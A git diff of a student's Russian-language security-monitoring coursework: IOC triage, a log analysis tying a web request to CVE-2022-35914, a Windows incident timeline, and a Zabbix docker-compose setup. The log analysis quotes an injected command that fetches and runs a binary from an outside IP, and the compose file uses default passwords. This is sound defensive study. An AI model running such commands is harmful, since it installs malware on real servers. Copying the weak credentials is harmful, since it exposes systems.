Compare commits
12 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ac8e716774 | ||
| 6f9b58b500 | |||
|
|
40899bcd4b | ||
|
|
37b5fd1f40 | ||
|
|
63205dd718 | ||
|
|
4db4c0d57a | ||
|
|
cc2a2b4187 | ||
|
|
10ad49476f | ||
|
|
aba99ef0b4 | ||
|
|
276f65168e | ||
|
|
59f2b0567f | ||
|
|
6fc53fe7af |
2
.gitignore
vendored
Normal file
@@ -0,0 +1,2 @@
|
||||
**.docx
|
||||
**.pdf
|
||||
42
01-main/02-monitoring/01-intro/README.md
Normal file
@@ -0,0 +1,42 @@
|
||||
# Задание 1
|
||||
|
||||
Согласно найденным отчётам по хостнейму и IP-адресу:
|
||||
|
||||
https://any.run/report/6dd737167202586feffdf37f3883461de94a1c01051a32b30db66fc1db5a681d/11691868-8155-4601-9cc5-ebdd94a77b79
|
||||
https://otx.alienvault.com/indicator/ip/103.53.42.223
|
||||
|
||||
Данный домен скорее всего участвовал в рассылке вредоносных файлов.
|
||||
|
||||
1. В список IOC можно предложить указать хэши вредоносных файлов, связанных с данным доменом, например:
|
||||
|
||||
```
|
||||
bae8ebd43fe0bc8c5bce6d5b8986589434e434b9a0023c7f535e6269858e4d7d
|
||||
6DD737167202586FEFFDF37F3883461DE94A1C01051A32B30DB66FC1DB5A681D
|
||||
fde3341015c7de7383bca14b2e62336bd685f1abc4105ad5d4eba6d13da09f15
|
||||
65f81879b5421a5683de158629677f153d046ce7dc81fb770d3b2ca9cbd8d47f
|
||||
17d1bbe4053498d4a7db1eda9e477d7d86b1b538afa4b9a9f7579676459c17c4
|
||||
b963fdcb37b1ea21efd4d930112e3e7636d16160699eaa09d4e1e23a2f12f00a
|
||||
```
|
||||
|
||||
Также можно добавить IP-адрес данного домена, так как взломан может целый почтовый сервис, который хостит множество почтовых доменов (103.53.42.223)
|
||||
|
||||
Дополнительно, можно предположить, что сайт хостится на сервисе (*.webhostbox.net), все поддомены можно также добавить в список IOC.
|
||||
|
||||
2. Сам хост по совокупности не похож на зараженный в привычном понимании (родительский домен в каких-либо базах вредоносов не находится), вероятнее всего был взломан почтовый сервер и хоста (в отчетах имеются даже учетные данные, с помощью которых проводилась рассылка), после чего он использовался для спам рассылок вредоносных файлов (значатся различные семейства Trojan и шифровальщиков, например AgentTesla, ZeuS) с других уже зараженных машин.
|
||||
|
||||
# Задание 2
|
||||
|
||||
Самым важным моментом логов можно считать следующую запись:
|
||||
```
|
||||
47.243.78.78 - - [21/Oct/2022:00:33:56 +0300] "GET /vendor/htmlawed/htmlawed/233.php?123456=rm%20-f%20linux*;wget%20http://67.198.237.116/linux_x86;curl%20-O%20http://67.198.237.116/linux_x86;chmod%20777%20*;./linux_x86;rm%20-f%20linux_x86.*;rm%20-f%20md*;rm%20-f%20x* HTTP/1.1" 200 5800 "-" "python-requests/2.27.1"
|
||||
```
|
||||
Это запрос с User-agent "python-requests/2.27.1" возвративший 200 ответ.
|
||||
User-agent python-requests говорит о том, что данный запрос вероятно создан с помощью библиотеки Python. А 200 ответ говорит, что сервер вернул некое содержимое и отработал запрос. А куча bash-команд в запросе говорит нам о вероятной эксплуатации атаки типа PHP-Injection (https://owasp.org/www-community/attacks/Code_Injection)
|
||||
|
||||
1. ELF-файл скорее всего скачивается с помощью wget с хоста http://67.198.237.116, после чего происходит выдача ему привилегий (chmod) и запуск (./linux_x86)
|
||||
|
||||
Имя elf-файла -- linux_x86.
|
||||
|
||||
2. Вероятнее всего с активностью ассоциируется уязвимость CVE-2022-35914 (https://nvd.nist.gov/vuln/detail/CVE-2022-35914). Понять это можно по пути до скрипта в запросе (/vendor/htmlawed/htmlawed/233.php), при этом в уязвимости описывается эксплуатация через POST-запрос и другое имя уязвимого скрипта, так что можно предположить, что 233.php уже является PHP-шеллом, загруженным на уязвимый сервер в результате эксплуатации.
|
||||
|
||||
Итоговый ответ (по форме: имя ELF-файла (слитно), CVE-идентификатор уязвимости (слитно)): linux_x86, CVE-2022-35914
|
||||
402
01-main/02-monitoring/02-logs/README.md
Normal file
@@ -0,0 +1,402 @@
|
||||
# Мониторинг, аналитика и оценка рисков ИБ
|
||||
## Модуль 2. Аналитика информационной безопасности
|
||||
### Практическое задание № 3
|
||||
#### Ход задания
|
||||
|
||||
Условие:
|
||||
```
|
||||
Представим кейс. Сотрудница в 00:06 12.03 обнаружила на своем компьютере что-то странное с файлами. Она выключила компьютер, а утром обратилась к вашей команде расследования. Проведите расследование инцидента по логам с ОС Windows.
|
||||
|
||||
В качестве результата составьте таймлайн инцидента 12-17 событий с хоста. В таймлайне важно отразить развитие инцидента, временные метки событий, EventID, влияние инцидента, какая вредоносная активность наблюдается (подозрительные сетевые соединения, изменения реестра Windows и т.д.). Рекомендуется воспользоваться рекомендациями по журналам Windows с семинара. Особенно ценно и достаточно непросто определить источник попадания активности на рабочую станцию, понять, как начался инцидент (время, содержание).
|
||||
```
|
||||
|
||||
Рассмотрим логи и выделим основные моменты.
|
||||
|
||||
1. Сработка антивируса MS Defender на документ `╨Ф╨╛╨│╨╛╨▓╨╛╤А.doc`
|
||||
```json
|
||||
{
|
||||
"Timestamp": "2024-03-11 22:42:25.843 +00:00",
|
||||
"RuleTitle": "Defender Alert (Severe)",
|
||||
"Level": "crit",
|
||||
"Computer": "test-win-19-res",
|
||||
"Channel": "Defender",
|
||||
"EventID": 1116,
|
||||
"RecordID": 337,
|
||||
"Details": {
|
||||
"Threat": "TrojanDownloader:O97M/Emotet.CSK!MTB",
|
||||
"Severity": "Критический",
|
||||
"Type": "Загрузчик троянов",
|
||||
"User": "TEST-WIN-19-RES\\Admin",
|
||||
"Path": "file:_C:\\Users\\Admin\\Downloads\\╨Ф╨╛╨│╨╛╨▓╨╛╤А.doc",
|
||||
"Proc": "C:\\Windows\\explorer.exe"
|
||||
},
|
||||
"ExtraFieldInfo": {
|
||||
"Action ID": 9,
|
||||
"Action Name": "%%887",
|
||||
"Additional Actions ID": 0,
|
||||
"Additional Actions String": "No additional actions required",
|
||||
"Category ID": 4,
|
||||
"Detection ID": "{0F657BB1-4CC8-4145-AF21-F8E170AD73F6}",
|
||||
"Detection Time": "2024-03-11T22:42:25.211Z",
|
||||
"Engine Version": "AM: 1.1.24010.10, NIS: 2.1.14600.4",
|
||||
"Error Code": "0x00000000",
|
||||
"Error Description": "Операция успешно завершена.",
|
||||
"Execution ID": 1,
|
||||
"Execution Name": "%%813",
|
||||
"FWLink": "http://go.microsoft.com/fwlink/?linkid=37020&name=TrojanDownloader:O97M/Emotet.CSK!MTB&threatid=2147761122&enterprise=0",
|
||||
"Origin ID": 1,
|
||||
"Origin Name": "%%845",
|
||||
"Post Clean Status": 0,
|
||||
"Pre Execution Status": 0,
|
||||
"Product Name": "%%827",
|
||||
"Product Version": "4.10.14393.4651",
|
||||
"Remediation User": "",
|
||||
"Severity ID": 5,
|
||||
"Signature Version": "AV: 1.405.1159.0, AS: 1.405.1159.0, NIS: 119.0.0.0",
|
||||
"Source ID": 4,
|
||||
"Source Name": "%%819",
|
||||
"State": 1,
|
||||
"Status Code": 1,
|
||||
"Status Description": "",
|
||||
"Threat ID": 2147761122,
|
||||
"Type ID": 0,
|
||||
"Type Name": "%%822",
|
||||
"Unused2": "",
|
||||
"Unused3": "",
|
||||
"Unused4": "",
|
||||
"Unused5": "",
|
||||
"Unused6": "",
|
||||
"Unused": ""
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
2. Отключение защитных механизмов MS Defender
|
||||
|
||||
```json
|
||||
{
|
||||
"Timestamp": "2024-03-11 22:44:13.718 +00:00",
|
||||
"RuleTitle": "Windows Defender Real-time Protection Disabled",
|
||||
"Level": "high",
|
||||
"Computer": "test-win-19-res",
|
||||
"Channel": "Defender",
|
||||
"EventID": 5001,
|
||||
"RecordID": 342,
|
||||
"Details": {
|
||||
},
|
||||
"ExtraFieldInfo": {
|
||||
"Product Name": "%%827",
|
||||
"Product Version": "4.10.14393.4651"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
3. Очистка журналов Windows
|
||||
```json
|
||||
{
|
||||
"Timestamp": "2024-03-11 23:34:34.485 +00:00",
|
||||
"RuleTitle": "Log Cleared",
|
||||
"Level": "high",
|
||||
"Computer": "test-win-19-res",
|
||||
"Channel": "Sec",
|
||||
"EventID": 1102,
|
||||
"RecordID": 79373,
|
||||
"Details": {
|
||||
},
|
||||
"ExtraFieldInfo": {
|
||||
"SubjectDomainName": "TEST-WIN-19-RES",
|
||||
"SubjectLogonId": "0xc285d",
|
||||
"SubjectUserName": "Admin",
|
||||
"SubjectUserSid": "S-1-5-21-107221567-3081071120-1500011723-1000"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
4. Начинаются постоянные подключения на порт RDP
|
||||
|
||||
```json
|
||||
{
|
||||
"Timestamp": "2024-03-11 23:34:06.469 +00:00",
|
||||
"RuleTitle": "Net Conn (Sysmon Alert)",
|
||||
"Level": "med",
|
||||
"Computer": "test-win-19-res",
|
||||
"Channel": "Sysmon",
|
||||
"EventID": 3,
|
||||
"RecordID": 2321153,
|
||||
"Details": {
|
||||
"Initiated": false,
|
||||
"Proto": "tcp",
|
||||
"SrcIP": "45.141.87.101",
|
||||
"SrcPort": 7028,
|
||||
"SrcHost": "-",
|
||||
"TgtIP": "212.233.73.226",
|
||||
"TgtPort": 3389,
|
||||
"TgtHost": "test-win-19-res",
|
||||
"User": "NT AUTHORITY\\NETWORK SERVICE",
|
||||
"Proc": "C:\\Windows\\System32\\svchost.exe",
|
||||
"PID": 852,
|
||||
"PGUID": "13CA83BD-C3D1-65ED-1100-000000000D00"
|
||||
},
|
||||
"ExtraFieldInfo": {
|
||||
"DestinationPortName": "ms-wbt-server",
|
||||
"RuleName": "RDP",
|
||||
"UtcTime": "2024-03-12 02:33:54.284"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
5. Скачивание с помощью браузера файла письма `Договоры.eml`
|
||||
```json
|
||||
{
|
||||
"Timestamp": "2024-03-11 23:40:06.167 +00:00",
|
||||
"RuleTitle": "ADS Created",
|
||||
"Level": "info",
|
||||
"Computer": "test-win-19-res",
|
||||
"Channel": "Sysmon",
|
||||
"EventID": 15,
|
||||
"RecordID": 2321344,
|
||||
"Details": {
|
||||
"Path": "C:\\Users\\Admin\\Downloads\\Договоры.eml",
|
||||
"Proc": "C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe",
|
||||
"PID": 3040,
|
||||
"PGUID": "13CA83BD-952E-65EF-3607-000000000D00",
|
||||
"Hash": "MD5=4A509F71EEEA143D38DF7F76446E2CB3,SHA256=CA1E2C445D4C847B161D36E9939CFA66B5C71A7549C76988D948314691A5DD79,IMPHASH=00000000000000000000000000000000"
|
||||
},
|
||||
"ExtraFieldInfo": {
|
||||
"Contents": "-",
|
||||
"CreationUtcTime": "2024-03-11 23:40:00.237",
|
||||
"RuleName": "-",
|
||||
"User": "TEST-WIN-19-RES\\Admin",
|
||||
"UtcTime": "2024-03-11 23:40:06.027"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
6. Скачивание с помощью браузера архива
|
||||
|
||||
```
|
||||
{
|
||||
"Timestamp": "2024-03-11 23:40:06.672 +00:00",
|
||||
"RuleTitle": "File Created (Sysmon Alert)",
|
||||
"Level": "med",
|
||||
"Computer": "test-win-19-res",
|
||||
"Channel": "Sysmon",
|
||||
"EventID": 11,
|
||||
"RecordID": 2321347,
|
||||
"Details": {
|
||||
"Rule": "Downloads",
|
||||
"Path": "C:\\Users\\Admin\\Downloads\\3vs2BYCX.zip.part",
|
||||
"Proc": "C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe",
|
||||
"PID": 3040,
|
||||
"PGUID": "13CA83BD-952E-65EF-3607-000000000D00"
|
||||
},
|
||||
"ExtraFieldInfo": {
|
||||
"CreationUtcTime": "2024-03-11 23:40:06.659",
|
||||
"User": "TEST-WIN-19-RES\\Admin",
|
||||
"UtcTime": "2024-03-11 23:40:06.659"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
7. Скачивание с помощью бразуера архива `Docs.zip`
|
||||
```json
|
||||
{
|
||||
"Timestamp": "2024-03-11 23:40:06.847 +00:00",
|
||||
"RuleTitle": "File Created (Sysmon Alert)",
|
||||
"Level": "med",
|
||||
"Computer": "test-win-19-res",
|
||||
"Channel": "Sysmon",
|
||||
"EventID": 11,
|
||||
"RecordID": 2321351,
|
||||
"Details": {
|
||||
"Rule": "Downloads",
|
||||
"Path": "C:\\Users\\Admin\\Downloads\\Docs.zip:Zone.Identifier",
|
||||
"Proc": "C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe",
|
||||
"PID": 3040,
|
||||
"PGUID": "13CA83BD-952E-65EF-3607-000000000D00"
|
||||
},
|
||||
"ExtraFieldInfo": {
|
||||
"CreationUtcTime": "2024-03-11 23:40:06.659",
|
||||
"User": "TEST-WIN-19-RES\\Admin",
|
||||
"UtcTime": "2024-03-11 23:40:06.843"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
8. Перемещение файла в `C:\\Users\\Admin\\Desktop\\Work\\╨Ф╨╛╨│╨╛╨▓╨╛╤А.doc`
|
||||
|
||||
```json
|
||||
{
|
||||
"Timestamp": "2024-03-11 23:48:26.520 +00:00",
|
||||
"RuleTitle": "ADS Created",
|
||||
"Level": "info",
|
||||
"Computer": "test-win-19-res",
|
||||
"Channel": "Sysmon",
|
||||
"EventID": 15,
|
||||
"RecordID": 2321544,
|
||||
"Details": {
|
||||
"Path": "C:\\Users\\Admin\\Desktop\\Work\\╨Ф╨╛╨│╨╛╨▓╨╛╤А.doc",
|
||||
"Proc": "C:\\Windows\\Explorer.EXE",
|
||||
"PID": 3484,
|
||||
"PGUID": "13CA83BD-9B68-65ED-6000-000000000D00",
|
||||
"Hash": "MD5=D7E6921BFD008F707BA52DEE374FF3DB,SHA256=044AA7E93EC81B297B53AAEBAD9BBAC1A9D754219B001AAF5D4261665AF30BC7,IMPHASH=00000000000000000000000000000000"
|
||||
},
|
||||
"ExtraFieldInfo": {
|
||||
"Contents": "-",
|
||||
"CreationUtcTime": "2024-03-11 20:44:02.000",
|
||||
"RuleName": "-",
|
||||
"User": "TEST-WIN-19-RES\\Admin",
|
||||
"UtcTime": "2024-03-11 23:48:26.509"
|
||||
}
|
||||
}
|
||||
```
|
||||
9. Перемещение файла в `C:\\Users\\Admin\\Desktop\\Work\\╨Ф╨╛╨│╨╛╨▓╨╛╤А2.doc`
|
||||
|
||||
```json
|
||||
{
|
||||
"Timestamp": "2024-03-11 23:48:26.540 +00:00",
|
||||
"RuleTitle": "ADS Created",
|
||||
"Level": "info",
|
||||
"Computer": "test-win-19-res",
|
||||
"Channel": "Sysmon",
|
||||
"EventID": 15,
|
||||
"RecordID": 2321545,
|
||||
"Details": {
|
||||
"Path": "C:\\Users\\Admin\\Desktop\\Work\\╨Ф╨╛╨│╨╛╨▓╨╛╤А2.doc",
|
||||
"Proc": "C:\\Windows\\Explorer.EXE",
|
||||
"PID": 3484,
|
||||
"PGUID": "13CA83BD-9B68-65ED-6000-000000000D00",
|
||||
"Hash": "MD5=349D13CA99AB03869548D75B99E5A1D0,SHA256=D34849E1C97F9E615B3A9B800CA1F11ED04A92B1014F55AA0158E3FFFC22D78F,IMPHASH=00000000000000000000000000000000"
|
||||
},
|
||||
"ExtraFieldInfo": {
|
||||
"Contents": "-",
|
||||
"CreationUtcTime": "2024-03-11 20:49:58.000",
|
||||
"RuleName": "-",
|
||||
"User": "TEST-WIN-19-RES\\Admin",
|
||||
"UtcTime": "2024-03-11 23:48:26.525"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
10. Открытие файла `╨Ф╨╛╨│╨╛╨▓╨╛╤А.doc` в Word.
|
||||
```json
|
||||
{
|
||||
"Timestamp": "2024-03-11 23:50:54.755 +00:00",
|
||||
"RuleTitle": "Proc Exec",
|
||||
"Level": "info",
|
||||
"Computer": "test-win-19-res",
|
||||
"Channel": "Sec",
|
||||
"EventID": 4688,
|
||||
"RecordID": 79425,
|
||||
"Details": {
|
||||
"Cmdline": "\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n \"C:\\Users\\Admin\\Desktop\\Work\\╨Ф╨╛╨│╨╛╨▓╨╛╤А.doc\" /o \"\"",
|
||||
"Proc": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE",
|
||||
"PID": 1360,
|
||||
"User": "Admin",
|
||||
"LID": "0xc285d"
|
||||
},
|
||||
"ExtraFieldInfo": {
|
||||
"MandatoryLabel": "HIGH_INTEGRITY",
|
||||
"ParentProcessName": "C:\\Windows\\explorer.exe",
|
||||
"ProcessId": 3484,
|
||||
"SubjectDomainName": "TEST-WIN-19-RES",
|
||||
"SubjectUserSid": "S-1-5-21-107221567-3081071120-1500011723-1000",
|
||||
"TargetDomainName": "-",
|
||||
"TargetLogonId": "0x0",
|
||||
"TargetUserName": "-",
|
||||
"TargetUserSid": "S-1-0-0",
|
||||
"TokenElevationType": "FULL_TOKEN"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
11. Дано разрешение на исполнение макросов Office.
|
||||
|
||||
```json
|
||||
|
||||
{
|
||||
"Timestamp": "2024-03-11 23:52:19.327 +00:00",
|
||||
"RuleTitle": "Reg Key Value Set (Sysmon Alert)",
|
||||
"Level": "med",
|
||||
"Computer": "test-win-19-res",
|
||||
"Channel": "Sysmon",
|
||||
"EventID": 13,
|
||||
"RecordID": 2321663,
|
||||
"Details": {
|
||||
"Rule": "Context,ProtectedModeExitOrMacrosUsed",
|
||||
"EventType": "SetValue",
|
||||
"TgtObj": "HKU\\S-1-5-21-107221567-3081071120-1500011723-1000\\SOFTWARE\\Microsoft\\Office\\16.0\\Word\\Security\\Trusted Documents\\TrustRecords\\%USERPROFILE%/Desktop/Work/╨Ф╨╛╨│╨╛╨▓╨╛╤А.doc",
|
||||
"": "Binary Data",
|
||||
"Proc": "C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE",
|
||||
"PID": 1360,
|
||||
"PGUID": "13CA83BD-98DE-65EF-4E07-000000000D00"
|
||||
},
|
||||
"ExtraFieldInfo": {
|
||||
"User": "TEST-WIN-19-RES\\Admin",
|
||||
"UtcTime": "2024-03-11 23:52:19.314"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
12. Спустя 17 секунд пользователь решил посмотреть новые тик-токи.
|
||||
|
||||
```json
|
||||
{
|
||||
"Timestamp": "2024-03-11 23:52:36.757 +00:00",
|
||||
"RuleTitle": "DNS Query",
|
||||
"Level": "info",
|
||||
"Computer": "test-win-19-res",
|
||||
"Channel": "Sysmon",
|
||||
"EventID": 22,
|
||||
"RecordID": 2321690,
|
||||
"Details": {
|
||||
"Query": "analytics.tiktok.com",
|
||||
"Result": "type: 5 analytics.tiktok.com.ttdns2.com;type: 5 analytics.tiktok.com.edgekey.net;type: 5 e35058.a.akamaiedge.net;::ffff:139.45.207.83;::ffff:139.45.207.18;::ffff:139.45.207.81;::ffff:139.45.207.10;::ffff:139.45.207.48;::ffff:139.45.207.72;::ffff:139.45.207.11;::ffff:139.45.207.32;::ffff:139.45.207.97;",
|
||||
"Proc": "C:\\Program Files\\Internet Explorer\\iexplore.exe",
|
||||
"PID": 5344,
|
||||
"PGUID": "13CA83BD-9936-65EF-5B07-000000000D00"
|
||||
},
|
||||
"ExtraFieldInfo": {
|
||||
"QueryStatus": 0,
|
||||
"RuleName": "-",
|
||||
"User": "TEST-WIN-19-RES\\Admin",
|
||||
"UtcTime": "2024-03-11 23:52:25.873"
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
13. Наблюдаются ошибки записи на диск.
|
||||
```json
|
||||
{
|
||||
"Timestamp": "2024-03-12 00:18:44.457 +00:00",
|
||||
"RuleTitle": "Sysmon Error",
|
||||
"Level": "low",
|
||||
"Computer": "test-win-19-res",
|
||||
"Channel": "Sysmon",
|
||||
"EventID": 255,
|
||||
"RecordID": 2322478,
|
||||
"Details": {
|
||||
"ID": "GetConfigurationOptions",
|
||||
"Description": "Failed to open service configuration with error 19 - Last error: Носитель защищен от записи.\\r\\n"
|
||||
},
|
||||
"ExtraFieldInfo": {
|
||||
"Description": "Failed to open service configuration with error 19 - Last error: Носитель защищен от записи.",
|
||||
"UtcTime": "2024-03-12 00:18:44.437"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
#### Итог лабораторной работы
|
||||
|
||||
В итоге мы получили следующую историю, пользователь работая по RDP попробовал перенести на компьютер вредоносный файл Word, который был заблокирован антивирусом Microsoft Defender.
|
||||
После чего он отключил антивирус и очистил журналы Windows. После этого через браузер Firefox был скачан файл письма, в котором находилось вложение в виде архива `.zip`. Данный архив был разархивирован.
|
||||
После этого пользователь открыл вредоносный документ, разрешил взаимодействие с ним и дополнительно разрешил выполнение макросов. Через 17 секунд пользователь окончательно усыпил бдительность и пошёл смотреть тик-токи перед сном.
|
||||
На следующий день пользователь обнаружил, что имеет проблему.
|
||||
|
||||
Вероятнее всего в документе содержался зловред бьющий файлы на диске или же шифрующий их. Механизм был активирован в тот момент, когда пользователь разрешил исполнение макросов в документе.
|
||||
|
||||
Также мы заметили большое количество подключений по RDP с разных источников, в том числе ботнетов, замеченных в брутфорсах RDP. С данной проблемой связи это не имеет.
|
||||
|
||||
В дальнейшем стоит использовать антивирус, который имеет возможность ограничения его отключения или добавления исключений. (или же групповые политики Windows) запретить выполнение макросов в Office и настроить ограничение сетевого доступа с помощью межсетевого экрана (используя UTM с прокси сервером в составе, мы также получим возможность заблокировать пользователю возможность смотреть тик-токи на рабочем месте, чтобы не расслаблялся).
|
||||
**Выполнил:** Харитонов Марат Русланович, М235314
|
||||
168
01-main/02-monitoring/03-monitoring/README.md
Normal file
@@ -0,0 +1,168 @@
|
||||
# Модуль 3. Мониторинг информационной безопасности и оценка рисков
|
||||
## Мониторинг, аналитика и оценка рисков ИБ. Задание 4
|
||||
### Ход лабораторной работы
|
||||
#### Развертывание Zabbix
|
||||
1. Для развертывания Zabbix воспользуемся официальной документацией, в части касающейся использования Docker-контейнера для развертывания.
|
||||
|
||||
```
|
||||
https://www.zabbix.com/documentation/current/en/manual/installation/containers
|
||||
https://github.com/zabbix/zabbix-docker
|
||||
```
|
||||
|
||||
2. Сформируем docker-compose.yaml, запустим его и убедимся в старте сервисов
|
||||
|
||||
```yaml
|
||||
version: '3.5'
|
||||
services:
|
||||
server:
|
||||
image: zabbix/zabbix-server-pgsql:alpine-latest
|
||||
ports:
|
||||
- "10051:10051"
|
||||
volumes:
|
||||
- /etc/localtime:/etc/localtime
|
||||
- /etc/timezone:/etc/timezone
|
||||
restart: always
|
||||
depends_on:
|
||||
- postgres-server
|
||||
environment:
|
||||
- POSTGRES_USER=zabbix
|
||||
- POSTGRES_PASSWORD=zabbix
|
||||
- POSTGRES_DB=zabbixNew
|
||||
- ZBX_HISTORYSTORAGETYPES=log,text #Zabbix configuration variables
|
||||
- ZBX_DEBUGLEVEL=1
|
||||
- ZBX_HOUSEKEEPINGFREQUENCY=1
|
||||
- ZBX_MAXHOUSEKEEPERDELETE=5000
|
||||
- ZBX_PROXYCONFIGFREQUENCY=3600
|
||||
web-nginx-pgsql:
|
||||
image: zabbix/zabbix-web-nginx-pgsql:alpine-latest
|
||||
ports:
|
||||
- "80:8080"
|
||||
- "443:8443"
|
||||
volumes:
|
||||
- /etc/localtime:/etc/localtime
|
||||
- /etc/timezone:/etc/timezone
|
||||
- /etc/ssl/nginx:/etc/ssl/nginx
|
||||
healthcheck:
|
||||
test: ["CMD", "curl", "-f", "http://localhost:8080/"]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 3
|
||||
start_period: 30s
|
||||
sysctls:
|
||||
- net.core.somaxconn=65535
|
||||
restart: always
|
||||
depends_on:
|
||||
- server
|
||||
- postgres-server
|
||||
environment:
|
||||
- POSTGRES_USER=zabbix
|
||||
- POSTGRES_PASSWORD=zabbix
|
||||
- POSTGRES_DB=zabbixNew
|
||||
- ZBX_SERVER_HOST=server
|
||||
- ZBX_POSTMAXSIZE=64M
|
||||
- PHP_TZ=Europe/Moscow
|
||||
- ZBX_MAXEXECUTIONTIME=500
|
||||
agent:
|
||||
image: zabbix/zabbix-agent:alpine-latest
|
||||
ports:
|
||||
- "10050:10050"
|
||||
volumes:
|
||||
- /etc/localtime:/etc/localtime
|
||||
- /etc/timezone:/etc/timezone
|
||||
- /proc:/proc
|
||||
- /sys:/sys
|
||||
- /dev:/dev
|
||||
- /var/run/docker.sock:/var/run/docker.sock
|
||||
privileged: true
|
||||
pid: "host"
|
||||
restart: always
|
||||
depends_on:
|
||||
- server
|
||||
environment:
|
||||
- ZBX_SERVER_HOST=server
|
||||
|
||||
postgres-server:
|
||||
image: postgres:16.2
|
||||
restart: always
|
||||
volumes:
|
||||
- pg_data:/var/lib/postgresql/data
|
||||
environment:
|
||||
- POSTGRES_PASSWORD=zabbix
|
||||
- POSTGRES_USER=zabbix
|
||||
- POSTGRES_DB=zabbixNew
|
||||
volumes:
|
||||
pg_data:
|
||||
```
|
||||

|
||||
|
||||
3. Проверим веб-интерфейс на наличие запущенного Zabbix
|
||||
|
||||

|
||||
|
||||
Zabbix развернут, можно приступать к работе.
|
||||
|
||||
4. Войдём в Zabbix с использованием учетных данных `Admin/zabbix`
|
||||
|
||||

|
||||
|
||||
Тут мы видим, что у нас уже имеется один хост, который сообщает о проблеме. Это уведомление о недоступности агента самого Zabbix-сервера, который был развернут в контейнере `agent` (в соответствии с docker-compose файлом)
|
||||
|
||||
5. Исправим эту проблему, для этого перейдем в настройки данного хоста и установим его опрос с помощью Zabbix-агента через DNS имя, вместо IP-адреса.
|
||||
|
||||

|
||||
|
||||
6. Спустя пару секунд мы наблюдаем, что связность появилась.
|
||||
|
||||

|
||||
|
||||
7. Дополнительно создадим ещё одно устройство, это будет мой маршрутизатор Mikrotik. В качестве интерфейса подключения назначим SNMP.
|
||||
|
||||

|
||||
|
||||
8. Добавим 2 элемента данных:
|
||||
|
||||
Проверку доступности по ICMP:
|
||||
|
||||

|
||||
|
||||
Текущий аптайм в милисекундах:
|
||||
|
||||

|
||||
|
||||
#### Создание кастомных дашбордов
|
||||
|
||||
1. Приступим к созданию своего дашборда с мониторингом интересующих нас параметров.
|
||||
|
||||

|
||||
|
||||
2. Добавим виджет доступности узлов сети
|
||||
|
||||

|
||||
|
||||
3. Добавим виджет с информацией об Uptime Mikrotik.
|
||||
|
||||

|
||||
|
||||
4. Виджет с информацией о системе в целом.
|
||||
|
||||

|
||||
|
||||
5. Настроим виджеты с информацией об аптайме ОС, утилизации процессора и памяти.
|
||||
|
||||
6. В итоге мы получили следующий дашборд.
|
||||
|
||||

|
||||
|
||||
7. Теперь можно добавить пару графиков, например график доступности Mikrotik (основан на метрике доступности по ICMP) и утилизацию сервера Zabbix (по CPU)
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
## Выводы
|
||||
|
||||
Лабортаорная работа завершена. В ходе работы мы научились разворачивать Zabbix и добавлять устройства в мониторинг. Устройства, на которые нельзя установить Zabbix-агент по прежнему могут быть поставлены на мониторинг, например с помощью SNMP. Zabbix очень функциональный open-source инструмент мониторинга, который очень в том числе в Enterprise среде за свою стабильность, большие возможности и широкую поддержку коммьюнити.
|
||||
|
||||
|
||||
**Выполнил:** Харитонов Марат Русланович, студенческий билет М235314.
|
||||
BIN
01-main/02-monitoring/03-monitoring/img/01.png
Normal file
|
After Width: | Height: | Size: 70 KiB |
BIN
01-main/02-monitoring/03-monitoring/img/02.png
Normal file
|
After Width: | Height: | Size: 50 KiB |
BIN
01-main/02-monitoring/03-monitoring/img/03.png
Normal file
|
After Width: | Height: | Size: 890 KiB |
BIN
01-main/02-monitoring/03-monitoring/img/04.png
Normal file
|
After Width: | Height: | Size: 210 KiB |
BIN
01-main/02-monitoring/03-monitoring/img/05.png
Normal file
|
After Width: | Height: | Size: 64 KiB |
BIN
01-main/02-monitoring/03-monitoring/img/06.png
Normal file
|
After Width: | Height: | Size: 184 KiB |
BIN
01-main/02-monitoring/03-monitoring/img/07.png
Normal file
|
After Width: | Height: | Size: 206 KiB |
BIN
01-main/02-monitoring/03-monitoring/img/08.png
Normal file
|
After Width: | Height: | Size: 221 KiB |
BIN
01-main/02-monitoring/03-monitoring/img/09.png
Normal file
|
After Width: | Height: | Size: 155 KiB |
BIN
01-main/02-monitoring/03-monitoring/img/10.png
Normal file
|
After Width: | Height: | Size: 179 KiB |
BIN
01-main/02-monitoring/03-monitoring/img/11.png
Normal file
|
After Width: | Height: | Size: 173 KiB |
BIN
01-main/02-monitoring/03-monitoring/img/12.png
Normal file
|
After Width: | Height: | Size: 212 KiB |
BIN
01-main/02-monitoring/03-monitoring/img/13.png
Normal file
|
After Width: | Height: | Size: 173 KiB |
BIN
01-main/02-monitoring/03-monitoring/img/14.png
Normal file
|
After Width: | Height: | Size: 195 KiB |
BIN
01-main/02-monitoring/03-monitoring/img/15.png
Normal file
|
After Width: | Height: | Size: 306 KiB |
@@ -0,0 +1,81 @@
|
||||
version: '3.5'
|
||||
services:
|
||||
server:
|
||||
image: zabbix/zabbix-server-pgsql:alpine-latest
|
||||
ports:
|
||||
- "10051:10051"
|
||||
volumes:
|
||||
- /etc/localtime:/etc/localtime
|
||||
- /etc/timezone:/etc/timezone
|
||||
restart: always
|
||||
depends_on:
|
||||
- postgres-server
|
||||
environment:
|
||||
- POSTGRES_USER=zabbix
|
||||
- POSTGRES_PASSWORD=zabbix
|
||||
- POSTGRES_DB=zabbixNew
|
||||
- ZBX_HISTORYSTORAGETYPES=log,text #Zabbix configuration variables
|
||||
